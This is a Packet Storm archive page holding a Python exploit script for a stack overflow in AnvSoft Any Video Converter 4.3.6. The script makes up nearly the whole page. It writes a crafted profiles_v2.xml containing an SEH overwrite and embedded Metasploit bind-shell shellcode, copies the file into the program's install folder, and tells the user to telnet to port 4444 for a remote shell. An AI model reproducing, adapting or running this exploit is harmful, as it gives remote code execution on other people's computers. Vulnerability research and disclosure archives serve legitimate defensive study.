ignore security and it'll go away

AnvSoft Any Video Converter 4.3.6 Stack Overflow

AnvSoft Any Video Converter 4.3.6 Stack Overflow
Posted May 3, 2012
Authored by cikumel, y0k

AnvSoft Any Video Converter version 4.3.6 suffers from a stack overflow vulnerability.

tags | exploit, overflow
MD5 | a6631c0580f81378935cad46510f0989

AnvSoft Any Video Converter 4.3.6 Stack Overflow

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: AnvSoft Any Video Converter 4.3.6 Stack Overflow
# Author: cikumel (@mhx_x) and y0k (@riy0_wid) from @spentera research
# Website: http://www.spentera.com
# Platform: Windows
# Tested on: Windows XP SP3
# Based on POC by Vulnerability-Lab (http://www.exploit-db.com/exploits/18717/)
#

import os,shutil,time,sys

def banner():
print "\n\tAnvSoft Any Video Converter 4.3.6 Stack Overflow"
print "\tbased on POC by Vulnerability-Lab (www.vulnerability-lab.com)"
print "\tcikumel (@mhx_x) and y0k (@riy0_wid) from @spentera research\n"
print "\t----------------------------------------------------\n"

junk = "\x90" * 328
nseh = "\xeb\x06\x90\x90"
seh = "\xe4\xf3\x04\x10"

# win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
# badchars = "\x00\x0a\x0d\x22\x26\x3e"
code = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x48"
"\x58\x30\x41\x30\x50\x42\x6b\x42\x41\x58\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x59\x79\x69\x6c\x30"
"\x6a\x78\x6b\x32\x6d\x78\x68\x4b\x49\x4b\x4f\x4b\x4f\x4b\x4f\x41"
"\x70\x6c\x4b\x30\x6c\x51\x34\x66\x44\x6e\x6b\x72\x65\x35\x6c\x6c"
"\x4b\x73\x4c\x67\x75\x30\x78\x67\x71\x68\x6f\x4c\x4b\x50\x4f\x47"
"\x68\x4e\x6b\x41\x4f\x67\x50\x55\x51\x7a\x4b\x42\x69\x6c\x4b\x74"
"\x74\x4c\x4b\x36\x61\x78\x6e\x74\x71\x4b\x70\x4f\x69\x6e\x4c\x4f"
"\x74\x4b\x70\x70\x74\x65\x57\x4a\x61\x6b\x7a\x56\x6d\x47\x71\x4b"
"\x72\x5a\x4b\x58\x74\x35\x6b\x72\x74\x75\x74\x34\x68\x30\x75\x4b"
"\x55\x4c\x4b\x43\x6f\x57\x54\x36\x61\x68\x6b\x72\x46\x4e\x6b\x56"
"\x6c\x30\x4b\x6e\x6b\x43\x6f\x65\x4c\x67\x71\x4a\x4b\x44\x43\x54"
"\x6c\x4c\x4b\x6f\x79\x70\x6c\x74\x64\x35\x4c\x70\x61\x39\x53\x57"
"\x41\x69\x4b\x50\x64\x6c\x4b\x47\x33\x70\x30\x6c\x4b\x57\x30\x76"
"\x6c\x6c\x4b\x72\x50\x45\x4c\x6e\x4d\x4c\x4b\x53\x70\x43\x38\x63"
"\x6e\x55\x38\x6c\x4e\x30\x4e\x54\x4e\x78\x6c\x42\x70\x69\x6f\x6e"
"\x36\x53\x56\x63\x63\x70\x66\x33\x58\x54\x73\x36\x52\x53\x58\x61"
"\x67\x34\x33\x57\x42\x41\x4f\x53\x64\x39\x6f\x5a\x70\x45\x38\x68"
"\x4b\x7a\x4d\x39\x6c\x57\x4b\x66\x30\x6b\x4f\x49\x46\x63\x6f\x4b"
"\x39\x79\x75\x65\x36\x4f\x71\x58\x6d\x47\x78\x63\x32\x70\x55\x73"
"\x5a\x37\x72\x4b\x4f\x68\x50\x70\x68\x4e\x39\x74\x49\x4c\x35\x4c"
"\x6d\x71\x47\x4b\x4f\x4a\x76\x32\x73\x63\x63\x50\x53\x50\x53\x31"
"\x43\x52\x63\x73\x63\x47\x33\x33\x63\x59\x6f\x4e\x30\x31\x76\x30"
"\x68\x77\x61\x51\x4c\x31\x76\x51\x43\x4d\x59\x6a\x41\x6f\x65\x45"
"\x38\x4f\x54\x66\x7a\x50\x70\x6a\x67\x66\x37\x79\x6f\x6e\x36\x61"
"\x7a\x64\x50\x33\x61\x42\x75\x69\x6f\x6a\x70\x33\x58\x4c\x64\x6e"
"\x4d\x56\x4e\x39\x79\x73\x67\x4b\x4f\x7a\x76\x72\x73\x70\x55\x59"
"\x6f\x58\x50\x61\x78\x6a\x45\x41\x59\x6d\x56\x42\x69\x66\x37\x4b"
"\x4f\x4e\x36\x46\x30\x76\x34\x31\x44\x50\x55\x69\x6f\x4e\x30\x6e"
"\x73\x75\x38\x6b\x57\x64\x39\x49\x56\x43\x49\x46\x37\x39\x6f\x4b"
"\x66\x66\x35\x39\x6f\x68\x50\x75\x36\x62\x4a\x43\x54\x72\x46\x65"
"\x38\x65\x33\x70\x6d\x4f\x79\x6b\x55\x32\x4a\x46\x30\x46\x39\x41"
"\x39\x38\x4c\x4d\x59\x4d\x37\x41\x7a\x52\x64\x4f\x79\x6b\x52\x70"
"\x31\x4b\x70\x4c\x33\x4f\x5a\x49\x6e\x77\x32\x76\x4d\x69\x6e\x31"
"\x52\x64\x6c\x4e\x73\x4e\x6d\x43\x4a\x34\x78\x6e\x4b\x6e\x4b\x6c"
"\x6b\x50\x68\x62\x52\x4b\x4e\x78\x33\x54\x56\x4b\x4f\x73\x45\x32"
"\x64\x39\x6f\x38\x56\x61\x4b\x32\x77\x43\x62\x70\x51\x73\x61\x71"
"\x41\x63\x5a\x44\x41\x31\x41\x43\x61\x63\x65\x56\x31\x6b\x4f\x4e"
"\x30\x53\x58\x4c\x6d\x5a\x79\x54\x45\x58\x4e\x33\x63\x4b\x4f\x6b"
"\x66\x50\x6a\x39\x6f\x4b\x4f\x70\x37\x4b\x4f\x38\x50\x4e\x6b\x62"
"\x77\x49\x6c\x4c\x43\x49\x54\x43\x54\x69\x6f\x5a\x76\x56\x32\x79"
"\x6f\x6e\x30\x50\x68\x53\x4e\x6a\x78\x7a\x42\x44\x33\x52\x73\x39"
"\x6f\x4e\x36\x79\x6f\x68\x50\x48")

sisa = "\x90" * (1000-len(code))

poc = "<root>\n"
poc+= "<categories>\n"
poc+= "<category name=\""+junk+nseh+seh+code+sisa+"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc+= "</categories>\n"
poc+= "<groups></groups>\n<profiles></profiles>\n</root>\n"

file = "profiles_v2.xml"
splash=os.path.abspath(file)
profdir="C:\Program Files\AnvSoft\Any Video Converter Professional"

writeFile = open(file, "w")
if os.name == 'nt':
if os.path.isdir(profdir):
try:
writeFile.write(poc)
banner()
print "[*] Creating the malicious",file
time.sleep(1)
print "[*] Malicious",file,"created.."
writeFile.close()
shutil.copy2(splash,profdir)
print "[*] File",file,"has been copied to",profdir
print "[*] Now open AnvSoft program and telnet to port 4444"
except IOError:
print "[-] Could not write to destination folder, check permission.."
sys.exit()
else:
print "[-] Could not find installation directory, is AnvSoft Any Video Converter installed?"
sys.exit()
else:
print "[-] Please run this script on Windows."
sys.exit()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    2 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close